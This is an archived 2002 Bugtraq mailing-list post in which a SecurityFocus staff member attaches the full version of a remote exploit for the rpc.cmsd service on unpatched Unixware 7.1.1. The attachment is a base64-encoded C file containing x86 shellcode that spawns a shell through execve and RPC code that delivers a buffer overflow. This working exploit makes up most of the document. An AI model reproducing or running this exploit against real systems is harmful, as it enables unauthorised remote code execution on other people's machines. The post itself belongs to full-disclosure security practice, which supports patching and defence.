[23795] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Unixware 7.1.1 rpc.cmsd remote exploit code.

daemon@ATHENA.MIT.EDU (Dave Ahmad)
Thu Jan 10 15:37:28 2002

Date: Thu, 10 Jan 2002 10:54:34 -0700 (MST)
From: Dave Ahmad <da@securityfocus.com>
To: "jGgM." <jggm@mail.com>
Cc: bugtraq@securityfocus.com
In-Reply-To: <20020110044054.32662.qmail@mail.securityfocus.com>
Message-ID: <Pine.LNX.4.43.0201101052450.12820-200000@mail>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="641862039-544312256-1010685274=:12820"

--641862039-544312256-1010685274=:12820
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hmm, this is incomplete.. attached is the full version of his
exploit.

Dave Ahmad
SecurityFocus
www.securityfocus.com

On 10 Jan 2002, jGgM. wrote:

>
>
> Hi, I'm jGgM.
>
> Here is unixware 7.1.1 rpc.cmsd remote exploit code.
> This is old bug. ( Currently patched....maybe.. )
> This works only not -patched Unixware 7.1.1.
>
> --------------------------------------
> Korean security Info.. by jGgM.
> http://www.forsecure.com/
> http://www.netemperor.com/
> --------------------------------------
> /*
>  * Unixware 7.x rpc.cmsd exploit by jGgM
>  * http://www.netemperor.com/en/
>  * EMail: jggm@mail.com
>  */
>

--641862039-544312256-1010685274=:12820
Content-Type: TEXT/x-csrc; name="rpc.cmsd-exploit.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.43.0201101054340.12820@mail>
Content-Description: 
Content-Disposition: attachment; filename="rpc.cmsd-exploit.c"

LyoNCiAqIFVuaXh3YXJlIDcueCBycGMuY21zZCBleHBsb2l0IGJ5IGpHZ00N
CiAqIGh0dHA6Ly93d3cubmV0ZW1wZXJvci5jb20vZW4vDQogKiBFTWFpbDog
amdnbUBtYWlsLmNvbQ0KICovDQoNCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNp
bmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1
ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHJwYy9ycGMuaD4NCg0KI2RlZmlu
ZSBDTVNEX1BST0cgMTAwMDY4DQojZGVmaW5lIENNU0RfVkVSUyA0DQojZGVm
aW5lIENNU0RfUFJPQyAyMQ0KDQojZGVmaW5lIEJVRkZFUl9TSVpFICAgICAx
MDM2DQojZGVmaW5lIFNIRUxMX1NUQVJUICAgICAxMDI0DQojZGVmaW5lIFJF
VF9MRU5HVEggICAgICAxMg0KI2RlZmluZSBBREpVU1QgICAgICAgICAgMTAw
DQojZGVmaW5lIE5PUCAgICAgMHg5MA0KI2RlZmluZSBMRU4gICAgICAgICAg
ICAgNjgNCg0KY2hhciBzaGVsbFtdID0NCiAgLyogIDAgKi8gIlx4ZWJceDNk
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBqbXAgc3ByaW5nYm9hcmQg
WzIwMDBdKi8NCiAgLyogc3lzY2FsbDogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyog
IDIgKi8gIlx4OWFceGZmXHhmZlx4ZmZceGZmXHgwN1x4ZmYiICAgICAvKiBs
Y2FsbCAweDcsMHgwICAgWzIwMDBdKi8NCiAgLyogIDkgKi8gIlx4YzMiICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiByZXQgICAgICAgICAgICAg
WzIwMDBdKi8NCiAgLyogc3RhcnQ6ICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyog
MTAgKi8gIlx4NWUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBw
b3BsICVlc2kgICAgICAgWzIwMDBdKi8NCiAgLyogMTEgKi8gIlx4MzFceGMw
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiB4b3IgJWVheCwlZWF4ICAg
WzIwMDBdKi8NCiAgLyogMTMgKi8gIlx4ODlceDQ2XHhiZiIgICAgICAgICAg
ICAgICAgICAgICAvKiBtb3ZsICVlYXgsLTB4NDEoJWVzaSkgKi8NCiAgLyog
MTYgKi8gIlx4ODhceDQ2XHhjNCIgICAgICAgICAgICAgICAgICAgICAvKiBt
b3ZiICVhbCwtMHgzYyglZXNpKSAgKi8NCiAgLyogMTkgKi8gIlx4ODlceDQ2
XHgwYyIgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlYXgsMHhjKCVl
c2kpICAgKi8NCiAgLyogMjIgKi8gIlx4ODhceDQ2XHgxNyIgICAgICAgICAg
ICAgICAgICAgICAvKiBtb3ZiICVhbCwweDE3KCVlc2kpICAgKi8NCiAgLyog
MjUgKi8gIlx4ODhceDQ2XHgxYSIgICAgICAgICAgICAgICAgICAgICAvKiBt
b3ZiICVhbCwweDFhKCVlc2kpICAgKi8NCiAgLyogMjggKi8gIlx4ODhceDQ2
XHhmZiIgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICVhbCwweD8/KCVl
c2kpICAgKi8NCiAgLyogZXhlY3ZlOiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyog
MzEgKi8gIlx4MzFceGMwIiAgICAgICAgICAgICAgICAgICAgICAgICAvKiB4
b3IgJWVheCwlZWF4ICAgWzIwMDBdKi8NCiAgLyogMzMgKi8gIlx4NTAiICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBwdXNobCAlZWF4ICAgICAg
WzIwMDBdKi8NCiAgLyogMzQgKi8gIlx4NTYiICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBwdXNobCAlZXNpICAgICAgWzIwMDBdKi8NCiAgLyog
MzUgKi8gIlx4OGRceDVlXHgxMCIgICAgICAgICAgICAgICAgICAgICAvKiBs
ZWFsIDB4MTAoJWVzaSksJWVieCAgKi8NCiAgLyogMzggKi8gIlx4ODlceDFl
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlYngsKCVlc2kp
WzIwMDBdKi8NCiAgLyogNDAgKi8gIlx4NTMiICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBwdXNobCAlZWJ4ICAgICAgWzIwMDBdKi8NCiAgLyog
NDEgKi8gIlx4OGRceDVlXHgxOCIgICAgICAgICAgICAgICAgICAgICAvKiBs
ZWFsIDB4MTgoJWVzaSksJWVieCAgKi8NCiAgLyogNDQgKi8gIlx4ODlceDVl
XHgwNCIgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlYngsMHg0KCVl
c2kpICAgKi8NCiAgLyogNDcgKi8gIlx4OGRceDVlXHgxYiIgICAgICAgICAg
ICAgICAgICAgICAvKiBsZWFsIDB4MWIoJWVzaSksJWVieCAgKi8NCiAgLyog
NTAgKi8gIlx4ODlceDVlXHgwOCIgICAgICAgICAgICAgICAgICAgICAvKiBt
b3ZsICVlYngsMHg4KCVlc2kpICAgKi8NCiAgLyogNTMgKi8gIlx4YjBceDNi
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICQweDNiLCVhbCAg
WzIwMDBdKi8NCiAgLyogNTUgKi8gIlx4ZThceGM2XHhmZlx4ZmZceGZmIiAg
ICAgICAgICAgICAvKiBjYWxsIHN5c2NhbGwgICAgWzIwMDBdKi8NCiAgLyog
NjAgKi8gIlx4ODNceGM0XHgwYyIgICAgICAgICAgICAgICAgICAgICAvKiBh
ZGRsICQweGMsJWVzcCAgWzIwMDBdKi8NCiAgLyogc3ByaW5nYm9hcmQ6ICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
WzIwMDBdKi8NCiAgLyogNjMgKi8gIlx4ZThceGM2XHhmZlx4ZmZceGZmIiAg
ICAgICAgICAgICAvKiBjYWxsIHN0YXJ0ICAgICAgWzIwMDBdKi8NCiAgLyog
ZGF0YTogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg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BjbCA9IGNsbnRfY3Jl
YXRlKGhvc3RuYW1lLCBDTVNEX1BST0csIENNU0RfVkVSUywgInVkcCIpOw0K
ICAgaWYoY2wgPT0gTlVMTCkgew0KICAgICAgY2xudF9wY3JlYXRlZXJyb3Io
ImNsbnRfY3JlYXRlIik7DQogICAgICBwcmludGYoImV4cGxvaXQgZmFpbGVk
OyB1bmFibGUgdG8gY29udGFjdCBSUEMgc2VydmVyXG4iKTsNCiAgICAgIGV4
aXQoMSk7DQogICB9DQogICBjbC0+Y2xfYXV0aCA9IGF1dGh1bml4X2NyZWF0
ZSgibG9jYWxob3N0IiwgMCwgMCwgMCwgTlVMTCk7DQogICBzdGF0ID0gY2xu
dF9jYWxsKGNsLCBDTVNEX1BST0MsIHhkcl9jbV9zZW5kLCAoY2FkZHJfdCkg
JnNlbmQsDQogICAgICAgICAgICAgICAgICAgICAgICB4ZHJfY21fcmVwbHks
IChjYWRkcl90KSAmcmVwbHksIHRtKTsNCiAgIGlmKHN0YXQgPT0gUlBDX1NV
Q0NFU1MpIHsNCiAgICAgIHByaW50ZigiZXhwbG9pdCBpcyBmYWlsZWQhIVxu
Iik7DQogICAgICBjbG50X2Rlc3Ryb3koY2wpOw0KICAgICAgZXhpdCgxKTsN
CiAgIH0gZWxzZSB7DQogICAgICBwcmludGYoIk1heWJlLCBleHBsb2l0IGlz
IHN1Y2Nlc3MhIVxuIik7DQogICAgICBjbG50X2Rlc3Ryb3koY2wpOw0KICAg
ICAgZXhpdCgwKTsNCiAgIH0NCn0NCg0K
--641862039-544312256-1010685274=:12820--

home help back first fref pref prev next nref lref last post